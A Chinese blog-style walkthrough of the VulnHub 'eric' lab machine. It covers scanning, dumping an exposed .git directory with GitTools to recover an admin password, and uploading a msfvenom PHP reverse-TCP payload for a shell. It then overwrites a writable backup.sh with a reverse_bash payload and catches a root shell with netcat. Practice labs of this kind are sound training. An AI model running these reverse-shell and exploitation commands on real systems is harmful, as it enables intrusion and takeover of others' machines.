CTF学习-eric靶机练习:使用git tools获取敏感目录,提权

傷城~ 2021-07-26 16:16 330阅读 0赞

## Kali渗透测试-靶场练习eric ##

--------------------

实验：  
Kali的IP:192.168.1.11（不同的机器配置不同）  
靶机IP: 192.168.1.6(动态ip)

--------------------

## 操作步骤 ##

1.  靶机下载：  
    https://www.vulnhub.com/entry/sp-eric%2C274
2.  下载的7z压缩包，解压后为eric.ova，还原靶机，这里我开始使用vmware还原，失败，我又安装的Virtual Box，还原成功；
3.  打开Kali,执行  
    查看局域网内主机状态（192.168.1.11为我的攻击虚拟机Kali的IP）：

nmap -sP 192.168.1.11/24

找到靶机IP：192.168.1.6  
![获取靶机ip][ip]  
4. 查看端口：

nmap -A 192.168.1.6

开放了22和80端口,查看80端口对应的网站  
![查看靶机端口][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hpbmdrb25ndGlhbnl1emhhbw_size_16_color_FFFFFF_t_70]  
5. 网站目录枚举：

dirb http://192.168.1.6:80/

![网站目录枚举][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hpbmdrb25ndGlhbnl1emhhbw_size_16_color_FFFFFF_t_70 1]  
6. 发现有/.git，/admin.php，/upload/等敏感目录，  
admin有登录输入框，没发现注入点;  
/upload没有访问权限;  
尝试利用.git泄露敏感密码这个漏洞  
这里使用GitTools工具下载这个网站对应的源码  
GitTools下载  
7. 下载网站源码  
切换到下载的目录下的Dumper文件夹，输入以下命令,把源码下载到当前目录的dest目录下

./gitdumper.sh http://192.168.1.6:80/.git/ dest

![GitTools获取源码][GitTools]  
8. 提取源码：  
切换到GitTools的Extractor目录下，执行下列命令：

./extractor.sh ../Dumper/dest/ dest

把源码提取到Extractor下的dest文件夹  
![提取网站源码][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hpbmdrb25ndGlhbnl1emhhbw_size_16_color_FFFFFF_t_70 2]  
9. 找到admin密码  
通过cat admin.php在admin.php文件中找到admin密码  
![通过源码找到登录密码][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hpbmdrb25ndGlhbnl1emhhbw_size_16_color_FFFFFF_t_70 3]  
10. 登录后台  
http://192.168.1.6/admin.php,输入admin, st@mpch0rdt.ightiRu$glo0mappL3登录后台,发现可以上传文件  
11. 使用msfvenom生成php反向攻击载荷  
在Kali中切换到家目录: cd ~  
运行metasploit:

service postgresql start
    msfconsole

打开另外一个终端，输入以下命令，生成攻击载荷(php-reverseTCP)：

msfvenom -p php/meterpreter/reverse_tcp -f raw -o x.php

![php reverse TCP攻击载荷][php reverse TCP]  
复制x.php，打开浏览器，通过/admin.php上传到网站,  
上传的文件路径为： /upload/x.php  
12. 在metasploit console中准备攻击：

use exploit/multi/handler
    set payload php/meterpreter/reverse_tcp
    set lhost 192.168.1.11（kali的IP）
    run

![metasploit攻击准备][metasploit]  
13. 访问http://192.168.1.6/upload/x.php,在kali中获取到webshell：  
在metasploit console中输入shell，查看靶机目录，切换到/home/eric找到一个flag.txt  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hpbmdrb25ndGlhbnl1emhhbw_size_16_color_FFFFFF_t_70 4]  
14. 提权-生成并写入提取脚本  
在eric目录下看到有一个backup.sh，配置权限错误，可以写入提取脚本  
在metasploit中生成提取脚本：

msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.11 lport=2333 R

写入脚本：

echo "提取脚本">backup.sh

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hpbmdrb25ndGlhbnl1emhhbw_size_16_color_FFFFFF_t_70 5]  
15. 提权  
在一个新的终端，生成一个netcat连接，端口为2333:

nc -lvp 2333

执行./backup.sh命令获取tcp连接,提权成功：  
在/root目录下找到flag.txt  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hpbmdrb25ndGlhbnl1emhhbw_size_16_color_FFFFFF_t_70 6]  
完成！！！

> 参考视频：  
> [https://www.bilibili.com/video/av80188178/?spm\_id\_from=333.788.videocard.2][https_www.bilibili.com_video_av80188178_spm_id_from_333.788.videocard.2]

[ip]: /images/20210726/9d2b4f3e085d4d49855f949f673870d9.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hpbmdrb25ndGlhbnl1emhhbw_size_16_color_FFFFFF_t_70]: /images/20210726/8b00928577e84f3986f61db287a368e2.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hpbmdrb25ndGlhbnl1emhhbw_size_16_color_FFFFFF_t_70 1]: /images/20210726/468eb379a972454b8b2f392e8e2a5a2d.png
[GitTools]: /images/20210726/86b8fb8d2609427d9dc78032e15c8f19.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hpbmdrb25ndGlhbnl1emhhbw_size_16_color_FFFFFF_t_70 2]: /images/20210726/e60d5b871caa41f3a86b65d444256b25.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hpbmdrb25ndGlhbnl1emhhbw_size_16_color_FFFFFF_t_70 3]: /images/20210726/0d96b8b344b640fbba38ea2359a6288a.png
[php reverse TCP]: /images/20210726/69e3a2aaa3fa4809ac1e1b9b4bd55d8d.png
[metasploit]: /images/20210726/34deab4d60694bf29b77a1d634f52634.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hpbmdrb25ndGlhbnl1emhhbw_size_16_color_FFFFFF_t_70 4]: /images/20210726/0eed81f6790e4bb69de161babae6121f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hpbmdrb25ndGlhbnl1emhhbw_size_16_color_FFFFFF_t_70 5]: /images/20210726/698325f5a371493bb603da3301b78fc1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hpbmdrb25ndGlhbnl1emhhbw_size_16_color_FFFFFF_t_70 6]: /images/20210726/0d6e65ae3397412f834da1276090d674.png
[https_www.bilibili.com_video_av80188178_spm_id_from_333.788.videocard.2]: https://www.bilibili.com/video/av80188178/?spm_id_from=333.788.videocard.2